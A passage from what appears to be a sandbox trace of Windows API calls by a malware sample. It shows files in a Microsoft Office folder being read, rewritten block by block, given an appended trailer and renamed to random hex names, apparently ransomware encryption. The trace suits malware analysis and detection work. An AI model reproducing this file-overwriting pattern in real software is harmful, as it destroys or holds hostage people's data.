Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x623b2432 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x7331fdfb [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x79c6f766 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x6bf0397f [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x794f2896 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x5ec3283 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x2339fd2e [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x1d0a4a5e [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x158a6599 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x3fc20682 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x53bdef4b [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x1c1ad767 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x51821f5d [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x7c2b8e1e [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x35634ce1 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x18506919 [0155.671] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x12d2b6fb [0155.671] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x249bf5f2 [0155.671] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x67d929f7 [0155.671] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x3db6b23 [0155.671] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x38567ef4 [0155.671] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x58fb081a [0155.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb390 [0155.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce242a0 [0155.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3c0 [0155.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce242a0) returned 1 [0155.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb360) returned 1 [0155.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb300) returned 1 [0155.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42962670 [0155.682] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.682] ReadFile (in: hFile=0xed8, lpBuffer=0x42962670, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x319df940, lpOverlapped=0x0 | out: lpBuffer=0x42962670*, lpNumberOfBytesRead=0x319df940*=0x3c00, lpOverlapped=0x0) returned 1 [0155.744] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18730 [0155.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24320 [0155.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb360 [0155.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb360) returned 1 [0155.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42969e90 [0155.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb360 [0155.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24320) returned 1 [0155.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18730) returned 1 [0155.747] WriteFile (hFile=0xed8, lpBuffer=0x42969e90, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x319df940, lpOverlapped=0x0) [0186.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42969e90) returned 1 [0186.828] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.828] ReadFile (in: hFile=0xed8, lpBuffer=0x42962670, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x319df940, lpOverlapped=0x0 | out: lpBuffer=0x42962670*, lpNumberOfBytesRead=0x319df940*=0x3c00, lpOverlapped=0x0) returned 1 [0190.568] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d40 [0190.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138d40) returned 1 [0190.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b2de90 [0190.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d40 [0190.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d70 [0190.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138d70) returned 1 [0190.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.572] WriteFile (in: hFile=0xed8, lpBuffer=0x42b2de90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x319df940, lpOverlapped=0x0 | out: lpBuffer=0x42b2de90*, lpNumberOfBytesWritten=0x319df940*=0x3c00, lpOverlapped=0x0) returned 1 [0205.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b2de90) returned 1 [0205.551] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x16d00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.551] ReadFile (in: hFile=0xed8, lpBuffer=0x42962670, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x319df940, lpOverlapped=0x0 | out: lpBuffer=0x42962670*, lpNumberOfBytesRead=0x319df940*=0x3c00, lpOverlapped=0x0) returned 1 [0205.552] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x16d00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9950 [0205.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9950) returned 1 [0205.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b2de90 [0205.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9950 [0205.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9980 [0205.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9980) returned 1 [0205.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.556] WriteFile (in: hFile=0xed8, lpBuffer=0x42b2de90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x319df940, lpOverlapped=0x0 | out: lpBuffer=0x42b2de90*, lpNumberOfBytesWritten=0x319df940*=0x3c00, lpOverlapped=0x0) returned 1 [0214.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b2de90) returned 1 [0214.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104d40 [0214.858] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.858] WriteFile (in: hFile=0xed8, lpBuffer=0x431f4720*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x319df9f0, lpOverlapped=0x0 | out: lpBuffer=0x431f4720*, lpNumberOfBytesWritten=0x319df9f0*=0x14a, lpOverlapped=0x0) returned 1 [0218.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0218.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205005c0 [0218.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205005c0) returned 1 [0218.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205005c0 [0218.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500590 [0218.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500590) returned 1 [0218.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0218.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad7a0 [0218.854] sprintf (in: _Dest=0x431ad7a0, _Format="%c%c" | out: _Dest="0d") returned 2 [0218.854] sprintf (in: _Dest=0x431ad7a2, _Format="%c%c" | out: _Dest="65") returned 2 [0218.854] sprintf (in: _Dest=0x431ad7a4, _Format="%c%c" | out: _Dest="af") returned 2 [0218.854] sprintf (in: _Dest=0x431ad7a6, _Format="%c%c" | out: _Dest="e7") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7a8, _Format="%c%c" | out: _Dest="59") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7aa, _Format="%c%c" | out: _Dest="30") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7ac, _Format="%c%c" | out: _Dest="f9") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7ae, _Format="%c%c" | out: _Dest="63") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7b0, _Format="%c%c" | out: _Dest="e9") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7b2, _Format="%c%c" | out: _Dest="09") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7b4, _Format="%c%c" | out: _Dest="8a") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7b6, _Format="%c%c" | out: _Dest="7c") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7b8, _Format="%c%c" | out: _Dest="2f") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7ba, _Format="%c%c" | out: _Dest="f0") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7bc, _Format="%c%c" | out: _Dest="23") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7be, _Format="%c%c" | out: _Dest="10") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7c0, _Format="%c%c" | out: _Dest="4c") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7c2, _Format="%c%c" | out: _Dest="3c") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7c4, _Format="%c%c" | out: _Dest="34") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7c6, _Format="%c%c" | out: _Dest="ee") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7c8, _Format="%c%c" | out: _Dest="16") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7ca, _Format="%c%c" | out: _Dest="ae") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7cc, _Format="%c%c" | out: _Dest="06") returned 2 [0218.855] sprintf (in: _Dest=0x431ad7ce, _Format="%c%c" | out: _Dest="4a") returned 2 [0218.855] RtlInitAnsiString (in: DestinationString=0x319dfa68, SourceString="0d65afe75930f963e9098a7c2ff023104c3c34ee16ae064a" | out: DestinationString="0d65afe75930f963e9098a7c2ff023104c3c34ee16ae064a") [0218.855] RtlAnsiStringToUnicodeString (in: DestinationString=0x319dfa38, SourceString="0d65afe75930f963e9098a7c2ff023104c3c34ee16ae064a", AllocateDestinationString=1 | out: DestinationString="0d65afe75930f963e9098a7c2ff023104c3c34ee16ae064a") returned 0x0 [0218.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43104b80 [0218.856] wcscat (in: _Dest=0x431a2580, _Source="0d65afe75930" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\0d65afe75930") returned="C:\\Program Files\\Microsoft Office\\Office14\\0d65afe75930" [0218.856] wcscat (in: _Dest=0x431a2580, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\0d65afe75930.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\0d65afe75930.2f9b60" [0218.856] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\0d65afe75930.2f9b60", NtPathName=0x319dfa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\0d65afe75930.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x4310a350 Thread: id = 2554 os_tid = 0x2054 [0155.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\office14\\rswop.icm")) returned 0x20 [0155.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM", dwFileAttributes=0x20) returned 1 [0155.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\office14\\rswop.icm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1248 [0155.476] GetFileSizeEx (in: hFile=0x1248, lpFileSize=0x31d2fcc0 | out: lpFileSize=0x31d2fcc0*=218103) returned 1 [0155.476] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x353f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.476] ReadFile (in: hFile=0x1248, lpBuffer=0x31d2fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x31d2fc88, lpOverlapped=0x0 | out: lpBuffer=0x31d2fc40*, lpNumberOfBytesRead=0x31d2fc88*=0x4, lpOverlapped=0x0) returned 1 [0156.177] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbed0 [0156.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf60 [0156.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf90 [0156.178] NtQuerySystemTime (in: CurrentTime=0x31d2fb80 | out: CurrentTime=0x31d2fb80*=132462177613114000) returned 0x0 [0156.178] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x53626852 [0156.178] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x5007959b [0156.178] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x4f1d1faf [0156.178] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x6ec0e82e [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x1d47f699 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x213ab238 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x164a9dc1 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x5007959b [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x4f3b7863 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x54efc9bd [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x6e0bb28e [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x1026e72b [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x50ae935a [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x6fee844e [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x3fa70d34 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x1f5c9424 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x5bf1b7f5 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x5f777ad2 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x52da07aa [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x65b86549 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x1ec3b18a [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x649e05f9 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x7e16ba73 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x2d8581a1 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x59bf617 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x21e55854 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x3d8caeeb [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x57f59c74 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x530ed37f [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x57ff941e [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0x6643cea1 [0156.179] RtlRandomEx (in: Seed=0x31d2fb70 | out: Seed=0x31d2fb70) returned 0xf6cba6d [0156.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbfc0 [0156.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24820 [0156.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbff0 [0156.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24820) returned 1 [0156.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf90) returned 1 [0156.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbed0) returned 1 [0156.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429f16b0 [0156.192] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.192] ReadFile (in: hFile=0x1248, lpBuffer=0x429f16b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x31d2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x429f16b0*, lpNumberOfBytesRead=0x31d2fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0156.381] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18be0 [0156.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24aa0 [0156.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc200 [0156.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc200) returned 1 [0156.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a29e90 [0156.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc200 [0156.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24aa0) returned 1 [0156.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18be0) returned 1 [0156.383] WriteFile (hFile=0x1248, lpBuffer=0x42a29e90, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x31d2fbe0, lpOverlapped=0x0) [0186.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a29e90) returned 1 [0186.921] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.921] ReadFile (in: hFile=0x1248, lpBuffer=0x429f16b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x31d2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x429f16b0*, lpNumberOfBytesRead=0x31d2fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.641] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138fe0 [0190.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138fe0) returned 1 [0190.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4298fa20 [0190.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138fe0 [0190.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139010 [0190.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139010) returned 1 [0190.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.645] WriteFile (in: hFile=0x1248, lpBuffer=0x4298fa20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x31d2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x4298fa20*, lpNumberOfBytesWritten=0x31d2fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4298fa20) returned 1 [0205.643] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x317f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.643] ReadFile (in: hFile=0x1248, lpBuffer=0x429f16b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x31d2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x429f16b0*, lpNumberOfBytesRead=0x31d2fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.644] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x317f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0205.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0205.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4298fa20 [0205.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0205.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda580 [0205.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda580) returned 1 [0205.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.649] WriteFile (in: hFile=0x1248, lpBuffer=0x4298fa20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x31d2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x4298fa20*, lpNumberOfBytesWritten=0x31d2fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4298fa20) returned 1 [0215.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105980 [0215.123] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.124] WriteFile (in: hFile=0x1248, lpBuffer=0x1cebe110*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x31d2fc90, lpOverlapped=0x0 | out: lpBuffer=0x1cebe110*, lpNumberOfBytesWritten=0x31d2fc90*=0x144, lpOverlapped=0x0) returned 1 [0218.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0218.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9770 [0218.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9770) returned 1 [0218.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0218.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9770 [0218.967] RtlAllocateHeap 